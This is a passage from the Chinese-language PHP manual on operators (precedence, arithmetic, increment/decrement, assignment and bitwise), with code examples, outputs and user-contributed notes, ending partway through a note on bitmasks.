左 | << >> | 位运算符
左 | . | string （PHP 8.0.0 起可用）
无 | < <= > >= | 比较运算符
无 | == != === !== <> <=> | 比较运算符
左 | & | 位运算符 和 引用
左 | ^ | 位运算符
左 | | | 位运算符
左 | && | 逻辑运算符
左 | || | 逻辑运算符
右 | ?? | null 合并运算符
无关联 | ? : | 三元运算符 (PHP 8.0.0 之前左联)
右 | = += -= *= **= /= .= %= &= |= ^= <<= >>= ??= | 赋值运算符
不适用 | yield from | yield from
不适用 | yield | yield
不适用 | print | print
左 | and | 逻辑运算符
左 | xor | 逻辑运算符
左 | or | 逻辑运算符

Example #1 结合方向

<?php
$a = 3 * 3 % 5; // (3 * 3) % 5 = 4
// PHP 的三元操作符跟 C/C++ 有区别
$a = true ? 0 : true ? 1 : 2; // (true ? 0 : true) ? 1 : 2 = 2 (PHP 8.0.0 前可用)

$a = 1;
$b = 2;
$a = $b += 3; // $a = ($b += 3) -> $a = 5, $b = 5
?>

运算符优先级和关联方式仅决定表达式如何分组，不指定计算顺序。 一般情况下， PHP 不指定表达式的计算顺序，并且代码避免指定假设执行顺序， 因为行为会在 PHP 版本间发生变化或者依赖于旁边的代码。

Example #2 未定义执行顺序

<?php
$a = 1;
echo $a + $a++; // 可能会输出 2 或 3

$i = 1;
$array[$i] = $i++; // 可能会设置索引 1 或 2
?>

Example #3 +、- 、. 具有相同的优先级

<?php
$x = 4;
// 这行可能会导致不可预料的输出：
echo "x minus one equals " . $x-1 . ", or so I hope\n";
// 因为它是这样计算的：（PHP 8.0.0 之前版本）
echo (("x minus one equals " . $x) - 1) . ", or so I hope\n";
// 可以使用括号来强制指定优先级：
echo "x minus one equals " . ($x-1) . ", or so I hope\n";
?>

以上示例会输出：

-1, or so I hope
-1, or so I hope
x minus one equals 3, or so I hope

Note:

尽管 = 比其它大多数的运算符的优先级低，PHP
仍旧允许类似如下的表达式：if (!$a = foo())，在此例中
foo() 的返回值被赋给了 $a。

更新日志

版本 | 说明
8.0.0 | 现在，字符串连接符（.）的优先级比算数加/减（+ 和 -）、按位左/右移（<< 和 >>）更低。在此之前，它的优先级与 +、 - 相同，并且比 <<、 >> 更高。
8.0.0 | 三元运算符（? :）是现在是非关联的；以前它是左联的。
7.4.0 | 已弃用在无括号的表达式中依赖字符串连接（.）相对于算数加/减（+ 或者 -）或者按位左/右移（<< 或者 >>）的优先级的使用方法。
7.4.0 | 不推荐使用三元运算符（? :）的左联。 即已弃用嵌套多个未带括号的三元运算符。

User Contributed Notes

rvwoens at gmail dot com 31-Jan-2023 12:11
Note that ?? has a low priority, so this can lead to unexpected results:

$a=[];
$a['aa']??'not set'
--> not set (as expected)

but
"lets see if it is set".$a['aa']??'not set'
--> notice; undefined index aa
--> lets see if it is set

so you need to use parenthesis
"lets see if it is set".($a['aa']??'not set')
sangala at seznam dot cz 01-Nov-2022 08:42
Using cast and ternary operator can be unclear,
(Useful to know with: declare(strict_types = 1) ).
<?php
$num_str="5";

$i1 = (int)  isset($num_str) ? $num_str : 0;
$i2 = (int) (isset($num_str) ? $num_str : 0);
var_dump($i1);
var_dump($i2);
?>
Output:
string(1) "5"
int(5)
tlili dot mokhtar at gmail dot com 04-Sep-2021 09:58
An easy trick to get the result of the left shift operation (<<), e.g.

15 << 2 = 15 * (2*2) = 60

15 << 3 = 15 * (2*2*2) = 120

15 << 5 = 15 * (2*2*2*2*2) = 480

and so on...

So it's:

(number on left) multiplied by (number on right) times 2.

The same goes for the right shift operator (>>), where:

(number on left) divided by (number on right) times 2 e.g.

15 >> 2 = (15/2)/2 = 7/2 = 3 (use floor values if result is in decimals).

35 >> 3 = (((35/2)/2)/2 = (17/2)/2 = 8/2 = 4
instatiendaweb at gmail dot com 20-Feb-2021 09:44
//incorrect
$a = true ? 0 : true ? 1 : 2; // (true ? 0 : true) ? 1 : 2 = 2
//Unparenthesized `a ? b : c ? d : e` is not supported. Use either `(a ? b : c) ? d : e` or `a ? b : (c ? d : e)`
//correct
$a = (true ? 0 : true) ? 1 : 2; // (true ? 0 : true) ? 1 : 2 = 2

==> correction documentation.
aaronw at catalyst dot net dot nz 11-Aug-2017 01:18
If you've come here looking for a full list of PHP operators, take note that the table here is *not* complete. There are some additional operators (or operator-ish punctuation tokens) that are not included here, such as "->", "::", and "...".

For a really comprehensive list, take a look at the "List of Parser Tokens" page: http://php.net/manual/en/tokens.php
ivan at dilber dot info 24-Apr-2017 03:55
<?php
// Another tricky thing here is using && or || with ternary ?:
$x && $y ? $a : $b;  // ($x && $y) ? $a : $b;

// while:
$x and $y ? $a : $b;  // $x and ($y ? $a : $b);

?>
fabmlk 02-Jun-2015 05:41
Watch out for the difference of priority between 'and vs &&' or '|| vs or':
<?php
$bool = true && false;
var_dump($bool); // false, that's expected

$bool = true and false;
var_dump($bool); // true, ouch!
?>
Because 'and/or' have lower priority than '=' but '||/&&' have higher.
Carsten Milkau 06-Jul-2012 12:06
Beware the unusual order of bit-wise operators and comparison operators, this has often lead to bugs in my experience. For instance:

<?php if ( $flags & MASK  == 1) do_something(); ?>

will not do what you might expect from other languages. Use

<?php if (($flags & MASK) == 1) do_something(); ?>

in PHP instead.


算术运算符

还记得学校里学到的基本数学知识吗？就和它们一样。

算术运算符
例子 | 名称 | 结果
+$a | 标识 | 根据情况将 $a 转化为 int 或 float。
-$a | 取反 | $a 的负值。
$a + $b | 加法 | $a 和 $b 的和。
$a - $b | 减法 | $a 和 $b 的差。
$a * $b | 乘法 | $a 和 $b 的积。
$a / $b | 除法 | $a 除以 $b 的商。
$a % $b | 取模 | $a 除以 $b 的余数。
$a ** $b | 求幂 | $a 的 $b次方的值。

除法运算符总是返回浮点数。只有在下列情况例外：两个操作数都是整数（或字符串转换成的整数）并且正好能整除，这时它返回一个整数。 整数除法可参考 intdiv()。

取模运算符的操作数在运算之前都会转换成 int 。 浮点数取模可参考 fmod()。

取模运算符 % 的结果和被除数的符号（正负号）相同。即 $a % $b 的结果和 $a 的符号相同。例如：

<?php

echo (5 % 3)."\n"; // 打印 2
echo (5 % -3)."\n"; // 打印 2
echo (-5 % 3)."\n"; // 打印 -2
echo (-5 % -3)."\n"; // 打印 -2

?>

参见

  • 数学函数

User Contributed Notes

There are no user contributed notes for this page.


递增／递减运算符

PHP 支持前／后递增与递减运算符。这些一元运算符允许将值递增或递减 1。

递增／递减运算符
示例 | 名称 | 效果
++$a | 前加 | $a 的值加一，然后返回 $a。
$a++ | 后加 | 返回 $a，然后将 $a 的值加一。
--$a | 前减 | $a 的值减一， 然后返回 $a。
$a-- | 后减 | 返回 $a，然后将 $a 的值减一。

一个简单的示例脚本：

<?php
echo 'Post-increment:', PHP_EOL;
$a = 5;
var_dump($a++);
var_dump($a);

echo 'Pre-increment:', PHP_EOL;
$a = 5;
var_dump(++$a);
var_dump($a);

echo 'Post-decrement:', PHP_EOL;
$a = 5;
var_dump($a--);
var_dump($a);

echo 'Pre-decrement:', PHP_EOL;
$a = 5;
var_dump(--$a);
var_dump($a);
?>

以上示例会输出：

Post-increment:
int(5)
int(6)
Pre-increment:
int(6)
int(6)
Post-decrement:
int(5)
int(4)
Pre-decrement:
int(4)
int(4)
Warning

递增和递减运算符对 bool 类型值没有影响。自 PHP 8.3.0 起，会发出 E_WARNING，因为将来会默认将该值转换为 int。

递减运算符对 null 类型的值没有影响。自 PHP 8.3.0 起，会发出 E_WARNING，因为将来会默认将该值转换为 int。

递减运算符对非数字字符串没有影响。自 PHP 8.3.0 起，会发出 E_WARNING，因为在将来会抛出 TypeError。

Note:

支持重载加/减法的内部对象也可以进行递增或递减。其中一个这样的内部对象是 GMP。

PERL 字符串递增功能

Warning

自 PHP 8.3.0 起，此功能已软弃用。应该使用 str_increment() 函数。

在 PHP 中，可以递增非数字字符串。该字符串必须是字母数字 ASCII 字符串。当到达字母 Z 且递增到下个字母时，将进位到左侧值。例如，$a = 'Z'; $a++;将 $a 变为 'AA'。

Example #1 PERL 字符串递减功能

<?php
echo '== Alphabetic strings ==' . PHP_EOL;
$s = 'W';
for ($n=0; $n<6; $n++) {
echo ++$s . PHP_EOL;
}
// 字母数字字符串的不同行为
echo '== Alphanumeric strings ==' . PHP_EOL;
$d = 'A8';
for ($n=0; $n<6; $n++) {
echo ++$d . PHP_EOL;
}
$d = 'A08';
for ($n=0; $n<6; $n++) {
echo ++$d . PHP_EOL;
}
?>

以上示例会输出：

== Alphabetic strings ==
X
Y
Z
AA
AB
AC
== Alphanumeric strings ==
A9
B0
B1
B2
B3
B4
A09
A10
A11
A12
A13
A14
Warning

如果数字字母字符串可以解释为数字字符串，则将转换为 int 或 float。这对于看起来像以指数形式写出的浮点数字符串来说尤其是一个问题。str_increment() 函数不会受到这些默认类型转换的影响。

Example #2 数字字母字符串转换为浮点数

<?php
$s = "5d9";
var_dump(++$s);
var_dump(++$s);
?>

以上示例会输出：

string(3) "5e0"
float(6)

这是因为值 "5e0" 解释为 float，并在递增之前转换为 5.0。

User Contributed Notes

hartmut at php dot net 02-Aug-2012 03:28
Note that

$a="9D9"; var_dump(++$a);   => string(3) "9E0"

but counting onwards from there

$a="9E0"; var_dump(++$a);   => float(10)

this is due to "9E0" being interpreted as a string representation of the float constant 9E0 (or 9e0), and thus evalutes to 9 * 10^0 = 9 (in a float context)


赋值运算符

基本的赋值运算符是"="。一开始可能会以为它是"等于"，其实不是的。它实际上意味着把右边表达式的值赋给左边的运算数。

赋值运算表达式的值也就是所赋的值。也就是说，"$a = 3"的值是 3。这样就可以做一些小技巧：

<?php

$a = ($b = 4) + 5; // $a 现在成了 9，而 $b 成了 4。

?>

在基本赋值运算符之外，还有适合于所有二元算术，数组集合和字符串运算符的"组合运算符"，这样可以在一个表达式中使用它的值并把表达式的结果赋给它，例如：

<?php

$a = 3;
$a += 5; // 设置 $a 为 8 ，之前说过： $a = $a + 5;
$b = "Hello ";
$b .= "There!"; // 设置 $b 为 "Hello There!"，就像 $b = $b . "There!";

?>

注意赋值运算将原变量的值拷贝到新变量中（传值赋值），所以改变其中一个并不影响另一个。这也适合于在密集循环中拷贝一些值例如大数组。

在 PHP 中普通的传值赋值行为有个例外就是碰到对象 object 时，在 PHP 5 中是以引用赋值的，除非明确使用了 clone 关键字来拷贝。

引用赋值

PHP 支持引用赋值，使用"$var = &$othervar;"语法。引用赋值意味着两个变量指向了同一个数据，没有拷贝任何东西。

Example #1 引用赋值

<?php
$a = 3;
$b = &$a; // $b 是 $a 的引用

print "$a\n"; // 输出 3
print "$b\n"; // 输出 3

$a = 4; // 修改 $a

print "$a\n"; // 输出 4
print "$b\n"; // 也输出 4，因为 $b 是 $a 的引用，因此也被改变
?>

new 运算符自动返回一个引用，因此对 new 的结果进行引用赋值是错误的。

<?php
class C {}

$o = &new C;
?>

以上示例会输出：

Parse error: syntax error, unexpected 'new' (T_NEW) in ...

有关引用更多信息参见本手册中 引用的解释 一章。

算术赋值运算符

例子 | 等同于 | 操作
$a += $b | $a = $a + $b | 加法
$a -= $b | $a = $a - $b | 减法
$a *= $b | $a = $a * $b | 乘法
$a /= $b | $a = $a / $b | 除法
$a %= $b | $a = $a % $b | 取模
$a **= $b | $a = $a ** $b | 指数

位赋值运算符

例子 | 等同于 | 操作
$a &= $b | $a = $a & $b | 按位与
$a |= $b | $a = $a | $b | 按位或
$a ^= $b | $a = $a ^ $b | 按位异或
$a <<= $b | $a = $a << $b | 左移
$a >>= $b | $a = $a >> $b | 右移

其他赋值运算符

例子 | 等同于 | 操作
$a .= $b | $a = $a . $b | 字符串拼接
$a ??= $b | $a = $a ?? $b | NULL 合并

参见

  • 算术运算符
  • 位运算符
  • NULL 合并运算符

User Contributed Notes

Hayley Watson 14-Dec-2023 09:13
In the case of the null coalescing assignment operator, even though the operator is right-associative just as the other assignment operators are, the left hand side is still tested first to see if it is already set or not. If it is, the right-hand side is not evaluated at all.

So if you try to be clever by writing something like
<?php
// If $local isn't set use the $runtime value; if that's not set,
// use $environment, and if that's not set, use "default"; while
// setting $runtime and $environment to appropriate values
// for later reference.
$local ??= $runtime ??= $environment ??= "default";
?>
then the second assignment will not be evaluated if $local is already set (which means $runtime and hence $environment will be unaffected whether they are set or not).

To get the code to do what it looks like it's doing, you'll have to write the assignments separately:
<?php
$environment ??= "default";
$runtime ??= $environment;
$local ??= $runtime;
?>

If in this particular instance you didn't *want* $runtime and $environment to be set to a (current or default) value, you can of course still write
<?php
$local ??= $runtime ?? $environment ?? "default";
?>
Anonymous 15-Jun-2023 04:18
If you are looking for array-like assignment syntax documentation, it is here:
https://www.php.net/manual/en/language.types.array.php#language.types.array.syntax.destructuring
asc at putc dot de 13-Jul-2015 02:39
PHP uses a temporary variable for combined assign-operators (unlike JavaScript), therefore the left-hand-side (target) gets evaluated last.

Input:
$a += $b + $c;

Meaning:
$a = ($b + $c) + $a;

Not:
$a = $a + ($b + $c);

This can be important if the target gets modified inside the expression.

$a = 0;
$a += (++$a) + (++$a); // yields 5 (instead of 4)
Robert Schneider 13-Mar-2015 01:03
Be aware of assignments with conditionals. The assignment operator is stronger as 'and', 'or' and 'xor'.

<?php
$x = true and false;   //$x will be true
$y = (true and false); //$y will be false
?>
ma dot bx dot ar at gamil dot com 02-Jun-2014 10:35
Document says:
"An exception to the usual assignment by value behaviour within PHP occurs with objects, which are assigned by reference in PHP 5. Objects may be explicitly copied via the clone keyword."

But it's not very accurate! Considering this code:
<?php
$a = new StdClass;
$b = $a;

$a = new StdClass;

var_dump ($a, $b);
?>

Output:
object(stdClass)#2 (0) {
}
object(stdClass)#1 (0) {
}
Note: #2 and #1 means two different objects.

But this code:
<?php
$a = new StdClass;
$b = &$a;

$a = new StdClass;

var_dump ($a, $b);
?>

Output will be:

object(stdClass)#2 (0) {
}
object(stdClass)#2 (0) {
}

Note: Still pointing to the same object.

And this shows that that exception is not valid, PHP assignment for objects still makes a copy of variable and does not creates a real reference, albeit changing an object variable members will cause both copies to change.
So, I would say assignment operator makes a copy of 'Object reference' not a real object reference.
Peter, Moscow 11-Feb-2011 01:44
Using $text .= "additional text"; instead of $text =  $text ."additional text"; can seriously enhance performance due to memory allocation efficiency.

I reduced execution time from 5 sec to .5 sec (10 times) by simply switching to the first pattern for a loop with 900 iterations over a string $text that reaches 800K by the end.
Hayley Watson 05-Feb-2008 05:54
You could also take adam at gmail dot com's xor-assignment operator and use the fact that it's right-associative:

$a ^= $b ^= $a ^= $b;
Hayley Watson 07-Oct-2007 03:22
bradlis7 at bradlis7 dot com's description is a bit confusing. Here it is rephrased.

<?php
$a = 'a';
$b = 'b';

$a .= $b .= "foo";

echo $a,"\n",$b;?>
outputs

abfoo
bfoo

Because the assignment operators are right-associative and evaluate to the result of the assignment
<?php
$a .= $b .= "foo";
?>
is equivalent to
<?php
$a .= ($b .= "foo");
?>
and therefore
<?php
$b .= "foo";
$a .= $b;
?>


位运算符

位运算符允许对整型数中指定的位进行求值和操作。

位运算符
例子 | 名称 | 结果
$a & $b | And（按位与） | 将把 $a 和 $b 中都为 1 的位设为 1。
$a | $b | Or（按位或） | 将把 $a 和 $b 中任何一个为 1 的位设为 1。
$a ^ $b | Xor（按位异或） | 将把 $a 和 $b 中一个为 1 另一个为 0 的位设为 1。
~ $a | Not（按位取反） | 将 $a 中为 0 的位设为 1，反之亦然。
$a << $b | Shift left（左移） | 将 $a 中的位向左移动 $b 次（每一次移动都表示"乘以 2"）。
$a >> $b | Shift right（右移） | 将 $a 中的位向右移动 $b 次（每一次移动都表示"除以 2"）。

位移在 PHP 中是数学运算。向任何方向移出去的位都被丢弃。左移时右侧以零填充，符号位被移走意味着正负号不被保留。右移时左侧以符号位填充，意味着正负号被保留。

要用括号确保想要的优先级。例如 $a & $b == true 先进行比较再进行按位与；而 ($a & $b) == true 则先进行按位与再进行比较。

如果 &、 | 和 ^ 运算符的左右两个操作对象都是字符串，将对会组成字符串的字符 ASCII 值执行操作，结果也是一个字符串。除此之外，两个操作对象都将 转换为整数 ，结果也将会是整数。

如果 ~ 运算符的操作对象是字符串，则将对组成字符串的字符 ASCII 值进行操作， 结果将会是字符串，否则操作对象和结构都会是整数。

<< 和 >> 运算符的操作对象和结果始终都是整数。

     PHP 的 ini 设定 error_reporting 使用了按位的值，
     提供了关闭某个位的真实例子。要显示除了提示级别
     之外的所有错误，php.ini 中是这样用的：
     E_ALL & ~E_NOTICE

     具体运作方式是先取得 E_ALL 的值：
     00000000000000000111011111111111
     再取得 E_NOTICE 的值：
     00000000000000000000000000001000
     然后通过 ~ 将其取反：
     11111111111111111111111111110111
     最后再用按位与 AND（&）得到两个值中都设定了（为 1）的位：
     00000000000000000111011111110111

     另外一个方法是用按位异或 XOR（^）来取得只在
     其中一个值中设定了的位：
     E_ALL ^ E_NOTICE

     error_reporting 也可用来演示怎样置位。只显示错误和可恢复
     错误的方法是：
     E_ERROR | E_RECOVERABLE_ERROR

     也就是将 E_ERROR
     00000000000000000000000000000001
     和 E_RECOVERABLE_ERROR
     00000000000000000001000000000000
     用按位或 OR（|）运算符来取得在任何一个值中被置位的结果：
     00000000000000000001000000000001

Example #1 整数的 AND，OR 和 XOR 位运算符

<?php
/*
* 忽略顶部，
* 它只是为了使输出更加清晰而格式化。
*/

$format = '(%1$2d = %1$04b) = (%2$2d = %2$04b)'
. ' %3$s (%4$2d = %4$04b)' . "\n";

echo <<<EOH
 --------- --------- -- ---------
result value op test
--------- --------- -- ---------
EOH;

/*
* 这是示例。
*/

$values = array(0, 1, 2, 4, 8);
$test = 1 + 4;

echo "\n Bitwise AND \n";
foreach ($values as $value) {
$result = $value & $test;
printf($format, $result, $value, '&', $test);
}

echo "\n Bitwise Inclusive OR \n";
foreach ($values as $value) {
$result = $value | $test;
printf($format, $result, $value, '|', $test);
}

echo "\n Bitwise Exclusive OR (XOR) \n";
foreach ($values as $value) {
$result = $value ^ $test;
printf($format, $result, $value, '^', $test);
}
?>

以上示例会输出：

 ---------     ---------  -- ---------
 result        value      op test
 ---------     ---------  -- ---------
 Bitwise AND
( 0 = 0000) = ( 0 = 0000) & ( 5 = 0101)
( 1 = 0001) = ( 1 = 0001) & ( 5 = 0101)
( 0 = 0000) = ( 2 = 0010) & ( 5 = 0101)
( 4 = 0100) = ( 4 = 0100) & ( 5 = 0101)
( 0 = 0000) = ( 8 = 1000) & ( 5 = 0101)

 Bitwise Inclusive OR
( 5 = 0101) = ( 0 = 0000) | ( 5 = 0101)
( 5 = 0101) = ( 1 = 0001) | ( 5 = 0101)
( 7 = 0111) = ( 2 = 0010) | ( 5 = 0101)
( 5 = 0101) = ( 4 = 0100) | ( 5 = 0101)
(13 = 1101) = ( 8 = 1000) | ( 5 = 0101)

 Bitwise Exclusive OR (XOR)
( 5 = 0101) = ( 0 = 0000) ^ ( 5 = 0101)
( 4 = 0100) = ( 1 = 0001) ^ ( 5 = 0101)
( 7 = 0111) = ( 2 = 0010) ^ ( 5 = 0101)
( 1 = 0001) = ( 4 = 0100) ^ ( 5 = 0101)
(13 = 1101) = ( 8 = 1000) ^ ( 5 = 0101)

Example #2 字符串的 XOR 运算符

<?php
echo 12 ^ 9; // 输出 '5'

echo "12" ^ "9"; // 输出退格字符 (ascii 8)
// ('1' (ascii 49)) ^ ('9' (ascii 57)) = #8

echo "hallo" ^ "hello"; // 输出 ascii 值 #0 #4 #0 #0 #0
// 'a' ^ 'e' = #4

echo 2 ^ "3"; // 输出 1
// 2 ^ ((int)"3") == 1

echo "2" ^ 3; // 输出 1
// ((int)"2") ^ 3 == 1
?>

Example #3 整数的位移

<?php
/*
* 这是示例。
*/

echo "\n--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---\n";

$val = 4;
$places = 1;
$res = $val >> $places;
p($res, $val, '>>', $places, 'copy of sign bit shifted into left side');

$val = 4;
$places = 2;
$res = $val >> $places;
p($res, $val, '>>', $places);

$val = 4;
$places = 3;
$res = $val >> $places;
p($res, $val, '>>', $places, 'bits shift out right side');

$val = 4;
$places = 4;
$res = $val >> $places;
p($res, $val, '>>', $places, 'same result as above; can not shift beyond 0');

echo "\n--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---\n";

$val = -4;
$places = 1;
$res = $val >> $places;
p($res, $val, '>>', $places, 'copy of sign bit shifted into left side');

$val = -4;
$places = 2;
$res = $val >> $places;
p($res, $val, '>>', $places, 'bits shift out right side');

$val = -4;
$places = 3;
$res = $val >> $places;
p($res, $val, '>>', $places, 'same result as above; can not shift beyond -1');

echo "\n--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---\n";

$val = 4;
$places = 1;
$res = $val << $places;
p($res, $val, '<<', $places, 'zeros fill in right side');

$val = 4;
$places = (PHP_INT_SIZE * 8) - 4;
$res = $val << $places;
p($res, $val, '<<', $places);

$val = 4;
$places = (PHP_INT_SIZE * 8) - 3;
$res = $val << $places;
p($res, $val, '<<', $places, 'sign bits get shifted out');

$val = 4;
$places = (PHP_INT_SIZE * 8) - 2;
$res = $val << $places;
p($res, $val, '<<', $places, 'bits shift out left side');

echo "\n--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---\n";

$val = -4;
$places = 1;
$res = $val << $places;
p($res, $val, '<<', $places, 'zeros fill in right side');

$val = -4;
$places = (PHP_INT_SIZE * 8) - 3;
$res = $val << $places;
p($res, $val, '<<', $places);

$val = -4;
$places = (PHP_INT_SIZE * 8) - 2;
$res = $val << $places;
p($res, $val, '<<', $places, 'bits shift out left side, including sign bit');

/*
* 忽略顶部，
* 它只是为了使输出更加清晰而格式化。
*/

function p($res, $val, $op, $places, $note = '') {
$format = '%0' . (PHP_INT_SIZE * 8) . "b\n";

printf("Expression: %d = %d %s %d\n", $res, $val, $op, $places);

echo " Decimal:\n";
printf(" val=%d\n", $val);
printf(" res=%d\n", $res);

echo " Binary:\n";
printf(' val=' . $format, $val);
printf(' res=' . $format, $res);

if ($note) {
echo " NOTE: $note\n";
}

echo "\n";
}
?>

以上示例在 32 位机器上的输出:

--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---
Expression: 2 = 4 >> 1
 Decimal:
  val=4
  res=2
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000010
 NOTE: copy of sign bit shifted into left side

Expression: 1 = 4 >> 2
 Decimal:
  val=4
  res=1
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000001

Expression: 0 = 4 >> 3
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: bits shift out right side

Expression: 0 = 4 >> 4
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: same result as above; can not shift beyond 0

--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---
Expression: -2 = -4 >> 1
 Decimal:
  val=-4
  res=-2
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111110
 NOTE: copy of sign bit shifted into left side

Expression: -1 = -4 >> 2
 Decimal:
  val=-4
  res=-1
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111111
 NOTE: bits shift out right side

Expression: -1 = -4 >> 3
 Decimal:
  val=-4
  res=-1
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111111
 NOTE: same result as above; can not shift beyond -1

--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---
Expression: 8 = 4 << 1
 Decimal:
  val=4
  res=8
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000001000
 NOTE: zeros fill in right side

Expression: 1073741824 = 4 << 28
 Decimal:
  val=4
  res=1073741824
 Binary:
  val=00000000000000000000000000000100
  res=01000000000000000000000000000000

Expression: -2147483648 = 4 << 29
 Decimal:
  val=4
  res=-2147483648
 Binary:
  val=00000000000000000000000000000100
  res=10000000000000000000000000000000
 NOTE: sign bits get shifted out

Expression: 0 = 4 << 30
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: bits shift out left side

--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---
Expression: -8 = -4 << 1
 Decimal:
  val=-4
  res=-8
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111000
 NOTE: zeros fill in right side

Expression: -2147483648 = -4 << 29
 Decimal:
  val=-4
  res=-2147483648
 Binary:
  val=11111111111111111111111111111100
  res=10000000000000000000000000000000

Expression: 0 = -4 << 30
 Decimal:
  val=-4
  res=0
 Binary:
  val=11111111111111111111111111111100
  res=00000000000000000000000000000000
 NOTE: bits shift out left side, including sign bit

以上示例在 64 位机器上的输出:

--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---
Expression: 2 = 4 >> 1
 Decimal:
  val=4
  res=2
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000010
 NOTE: copy of sign bit shifted into left side

Expression: 1 = 4 >> 2
 Decimal:
  val=4
  res=1
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000001

Expression: 0 = 4 >> 3
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out right side

Expression: 0 = 4 >> 4
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: same result as above; can not shift beyond 0

--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---
Expression: -2 = -4 >> 1
 Decimal:
  val=-4
  res=-2
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111110
 NOTE: copy of sign bit shifted into left side

Expression: -1 = -4 >> 2
 Decimal:
  val=-4
  res=-1
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111111
 NOTE: bits shift out right side

Expression: -1 = -4 >> 3
 Decimal:
  val=-4
  res=-1
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111111
 NOTE: same result as above; can not shift beyond -1

--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---
Expression: 8 = 4 << 1
 Decimal:
  val=4
  res=8
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000001000
 NOTE: zeros fill in right side

Expression: 4611686018427387904 = 4 << 60
 Decimal:
  val=4
  res=4611686018427387904
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0100000000000000000000000000000000000000000000000000000000000000

Expression: -9223372036854775808 = 4 << 61
 Decimal:
  val=4
  res=-9223372036854775808
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=1000000000000000000000000000000000000000000000000000000000000000
 NOTE: sign bits get shifted out

Expression: 0 = 4 << 62
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out left side

--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---
Expression: -8 = -4 << 1
 Decimal:
  val=-4
  res=-8
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111000
 NOTE: zeros fill in right side

Expression: -9223372036854775808 = -4 << 61
 Decimal:
  val=-4
  res=-9223372036854775808
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1000000000000000000000000000000000000000000000000000000000000000

Expression: 0 = -4 << 62
 Decimal:
  val=-4
  res=0
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out left side, including sign bit

Warning

使用 gmp 扩展对超出 PHP_INT_MAX 的数值来进行位操作。

参见

  • pack()
  • unpack()
  • gmp_and()
  • gmp_or()
  • gmp_xor()
  • gmp_testbit()
  • gmp_clrbit()

User Contributed Notes

razvan_bc at yahoo dot com 03-Mar-2023 09:56
if you want to set a bit in php you don't need a new extension (avoid using of extensions could be slow down your php!) then with minimum effort you can have:

<?php

function setbit($v,$b=0){
        return (1<<$b)|$v;//($v&$x);
}

    echo sprintf('%b', setbit(0b00000010,0));

/*

bits position:          76543210
target number:  0b00000010
 bit 0-------------------------^

so

bits position:          76543210
result:                      00000011
(sprintf will show  "11" value)
*/
?>

same results with anonymous functions from a constant! ..
<?php

define('setbits',fn($v,$b=0)=>(1<<$b)|$v);
echo sprintf('%b',(setbits)(0b00000010,0));

?>

all test i made are on last PHP Version => 8.2.4RC1 !
biziclop at vipmail dot hu 18-Oct-2019 04:10
A fast algorithm (Brian Kernighan's) to count all bits set to 1 in an integer, modified to work with signed ints.
It does the same as https://php.net/gmp_popcount except for ordinary integers.

<?php
function count_set_bits( $n ){
  if( $n >= 0 ){  for( $count = 0;  $n;       ++$count )  $n &= $n - 1;  }
           else{  for( $count = 1;  $n << 1;  ++$count )  $n &= $n - 1;  }
  return $count;
}

echo 'This PHP uses ' . count_set_bits(-1) .'-bit integers.';
?>
ASchmidt at Anamera dot net 29-Jul-2019 11:52
Setting, unsetting and testing single and multiple bits in a bitmask:

<?php
    const    FLAG_A    =    0b0001,
            FLAG_B    =    0b0010,
            FLAG_C    =    0b0100,
            FLAG_D    =    0b1000;

    const    COMBO_BC = FLAG_B | FLAG_C;

    $bitmask = 0b000;

    // Setting individual flags.
    $bitmask |=    FLAG_B;        // Sets FLAG_B (=2)
    $bitmask |=    FLAG_C;        // also sets FLAG_C (=4)

    // Testing single or multiple flags.
    echo (bool)( $bitmask & FLAG_B );                            // True, B is set.

    echo (bool)( $bitmask & (FLAG_A | FLAG_B) );                // True, A or B is set.

